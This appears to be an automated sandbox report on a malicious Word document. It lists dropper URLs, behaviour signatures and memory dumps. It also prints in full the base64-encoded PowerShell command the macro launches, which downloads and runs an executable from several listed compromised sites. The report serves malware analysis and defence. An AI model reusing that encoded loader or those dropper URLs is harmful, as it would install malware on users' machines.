Analysis
- max time kernel
112s - max time network
110s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
11/06/2024, 12:13
General
- Target 9e23f638ba7e96c6cced1ce7807cef9b_JaffaCakes118.doc
- Size 171KB
- Sample240611-pd27ssweqf
- SHA256 4b488f73e3fc0b3739f12874be38d752e5662c4f51a6f548fb952da835a9849d
Malware Config
Extracted
-
ps1
-
exe.dropper
http://coffeecons.com/joomla30/LU7/
-
exe.dropper
http://www.noramua.com/wp-content/Eb/
-
exe.dropper
http://chakteholistico.com/wp-includes/7c/
-
exe.dropper
https://zeitraisen.com/wordpress/GoG/
-
exe.dropper
http://gosmart-online.com/wp-includes/9/
-
exe.dropper
https://www.campuscamarafp.com/wp-admin/uEx/
-
exe.dropper
http://eastafricarefugeerelief.com/aopaf/public/GiFSUetbCLK/C/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9e23f638ba7e96c6cced1ce7807cef9b_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABUAGkAXwBfAHYAOQA1AD0AKAAoACcAWQAnACsAJwA1ADgAJwApACsAKAAnAGsAbAB3ACcAKwAnAGsAJwApACkAOwAmACgAJwBuACcAKwAnAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABFAE4AdgA6AHUAcwBlAHIAUABSAE8AZgBpAGwAZQBcAG4AYgAxAFAAQwBEAEQAXABLAEUATQAyAEoANABVAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAGUAYwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBgAFUAcgBpAHQAWQBwAGAAUgBgAG8AVABPAEMAbwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAnACkAKwAoACcAMgAsACAAJwArACcAdABsACcAKwAnAHMAJwApACsAKAAnADEAMQAnACsAJwAsACAAJwApACsAKAAnAHQAJwArACcAbABzACcAKQApADsAJABBADgAbwBrAHoAbAB4ACAAPQAgACgAJwBGADkAJwArACgAJwBlAHYAJwArACcAegBuACcAKQArACcAYQB6ACcAKQA7ACQASAAxAHQAZABqADEAaQA9ACgAJwBJACcAKwAoACcAdAByACcAKwAnAG0AeAAnACsAJwBfAHUAJwApACkAOwAkAFUANQA1AGQAeQBxAGEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcASgAnACsAJwAxAHkAJwArACgAJwBOAGIAJwArACcAMQBwACcAKQArACgAJwBjAGQAZAAnACsAJwBKACcAKQArACgAJwAxACcAKwAnAHkASwAnACsAJwBlAG0AMgBqACcAKQArACgAJwA0AHUAJwArACcASgAxAHkAJwApACkALgAiAFIAZQBgAHAAbABgAEEAYwBFACIAKAAoACcASgAxACcAKwAnAHkAJwApACwAWwBzAFQAUgBpAE4AZwBdAFsAYwBIAEEAUgBdADkAMgApACkAKwAkAEEAOABvAGsAegBsAHgAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABWAHIAaQBnADQAaQAzAD0AKAAoACcAUwB0ACcAKwAnAGwAJwApACsAKAAnAHoAJwArACcAMABtAG8AJwApACkAOwAkAE0AdABsADMANABwAGIAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwAnACsAJwB0ACcAKQAgAG4AZQB0AC4AVwBlAEIAYwBsAGkARQBuAFQAOwAkAEkAMAA0ADkAZwB6ADgAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8ALwBjACcAKwAnAG8AJwApACsAKAAnAGYAJwArACcAZgBlACcAKQArACgAJwBlACcAKwAnAGMAbwAnACkAKwAnAG4AcwAnACsAKAAnAC4AYwAnACsAJwBvAG0AJwApACsAJwAvACcAKwAoACcAagBvAG8AbQBsACcAKwAnAGEAJwApACsAKAAnADMAMAAnACsAJwAvACcAKQArACcATABVACcAKwAnADcALwAnACsAKAAnACoAJwArACcAaAB0AHQAcAA6ACcAKQArACcALwAvACcAKwAoACcAdwAnACsAJwB3AHcAJwApACsAJwAuACcAKwAoACcAbgBvACcAKwAnAHIAYQBtAHUAYQAuACcAKQArACgAJwBjAG8AJwArACcAbQAvAHcAJwApACsAKAAnAHAAJwArACcALQBjAG8AbgAnACkAKwAnAHQAJwArACgAJwBlACcAKwAnAG4AdAAvAEUAYgAvACoAJwApACsAKAAnAGgAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAvACcAKwAnAGMAaAAnACkAKwAoACcAYQAnACsAJwBrAHQAZQAnACkAKwAoACcAaABvAGwAaQAnACsAJwBzACcAKQArACgAJwB0AGkAJwArACcAYwBvAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGkAJwArACcAbgBjAGwAJwArACcAdQBkAGUAcwAnACkAKwAoACcALwAnACsAJwA3AGMALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnAHMAOgAnACkAKwAoACcALwAnACsAJwAvAHoAZQAnACsAJwBpAHQAJwApACsAJwByACcAKwAoACcAYQBpACcAKwAnAHMAZQAnACsAJwBuAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwAnACsAJwBvAHIAJwArACcAZABwAHIAZQBzAHMALwBHAG8AJwApACsAKAAnAEcALwAnACsAJwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8ALwBnAG8AJwArACcAcwBtAGEAcgB0ACcAKwAnAC0AbwAnACkAKwAnAG4AbAAnACsAJwBpAG4AJwArACcAZQAuACcAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvACcAKwAnAHcAcAAnACsAJwAtACcAKwAoACcAaQBuACcAKwAnAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAvACcAKQArACcAOQAvACcAKwAoACcAKgAnACsAJwBoAHQAJwApACsAKAAnAHQAJwArACcAcABzADoALwAnACkAKwAoACcALwAnACsAJwB3AHcAdwAnACkAKwAoACcALgBjAGEAJwArACcAbQBwACcAKQArACgAJwB1AHMAJwArACcAYwAnACkAKwAnAGEAJwArACgAJwBtAGEAcgBhAGYAJwArACcAcAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAvACcAKQArACgAJwB3AHAAJwArACcALQBhACcAKQArACcAZAAnACsAKAAnAG0AaQBuACcAKwAnAC8AdQBFACcAKwAnAHgALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACcAcAA6ACcAKwAoACcALwAvAGUAYQBzAHQAJwArACcAYQAnACkAKwAoACcAZgByACcAKwAnAGkAYwBhACcAKQArACcAcgAnACsAKAAnAGUAZgB1AGcAZQAnACsAJwBlACcAKQArACgAJwByAGUAbAAnACsAJwBpAGUAZgAnACkAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvAGEAJwApACsAJwBvAHAAJwArACgAJwBhACcAKwAnAGYALwAnACkAKwAoACcAcAB1AGIAJwArACcAbABpAGMALwBHACcAKwAnAGkARgBTAFUAZQAnACsAJwB0AGIAQwAnACsAJwBMAEsALwBDAC8AJwApACkALgAiAFMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASABqAGsAaQBrADQAegA9ACgAKAAnAFIAOQBfAGQAJwArACcANQAnACkAKwAnAGsAdgAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABZADYAdAB3AHgAcAAzACAAaQBuACAAJABJADAANAA5AGcAegA4ACkAewB0AHIAeQB7ACQATQB0AGwAMwA0AHAAYgAuACIAZABvAGAAVwBuAGwAbwBgAEEARABmAGAASQBMAEUAIgAoACQAWQA2AHQAdwB4AHAAMwAsACAAJABVADUANQBkAHkAcQBhACkAOwAkAE8AbgA3ADcANABzADkAPQAoACcAWQAnACsAKAAnADEAbgAxAG8AJwArACcAdABvACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFUANQA1AGQAeQBxAGEAKQAuACIATABgAEUAYABOAGcAVABoACIAIAAtAGcAZQAgADMAOQA4ADcANQApACAAewAmACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACgAJABVADUANQBkAHkAcQBhACkAOwAkAEgAYwBvAHoAbQAwAGIAPQAoACcARAAnACsAJwBzADcAJwArACgAJwBqACcAKwAnAHoAYQBwACcAKQApADsAYgByAGUAYQBrADsAJABKAGYAdwByAHQAcAA0AD0AKAAnAEYAawAnACsAJwB1ACcAKwAoACcAcAAwADIAJwArACcAZwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgAwAHQAaQBnAGsAaAA9ACgAJwBWAGUAJwArACgAJwB5ACcAKwAnAGEAYwA1AGoAJwApACkA1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_4ulioeyp.034.ps1
memory/432-57-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/432-85-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/432-82-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/432-64-0x00000155552E0000-0x0000015555302000-memory.dmp
memory/5076-12-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-1-0x00007FFD5084D000-0x00007FFD5084E000-memory.dmp
memory/5076-7-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-9-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-10-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-11-0x00007FFD0E7D0000-0x00007FFD0E7E0000-memory.dmp
memory/5076-8-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-13-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-15-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-16-0x00007FFD0E7D0000-0x00007FFD0E7E0000-memory.dmp
memory/5076-18-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-17-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-14-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-0-0x00007FFD10830000-0x00007FFD10840000-memory.dmp
memory/5076-24-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-25-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-53-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-3-0x00007FFD10830000-0x00007FFD10840000-memory.dmp
memory/5076-2-0x00007FFD10830000-0x00007FFD10840000-memory.dmp
memory/5076-6-0x00007FFD10830000-0x00007FFD10840000-memory.dmp
memory/5076-68-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-77-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-76-0x00007FFD5084D000-0x00007FFD5084E000-memory.dmp
memory/5076-78-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-79-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-80-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-81-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-4-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp
memory/5076-5-0x00007FFD10830000-0x00007FFD10840000-memory.dmp
memory/5076-105-0x00007FFD10830000-0x00007FFD10840000-memory.dmp
memory/5076-106-0x00007FFD10830000-0x00007FFD10840000-memory.dmp
memory/5076-104-0x00007FFD10830000-0x00007FFD10840000-memory.dmp
memory/5076-107-0x00007FFD10830000-0x00007FFD10840000-memory.dmp
memory/5076-108-0x00007FFD507B0000-0x00007FFD509A5000-memory.dmp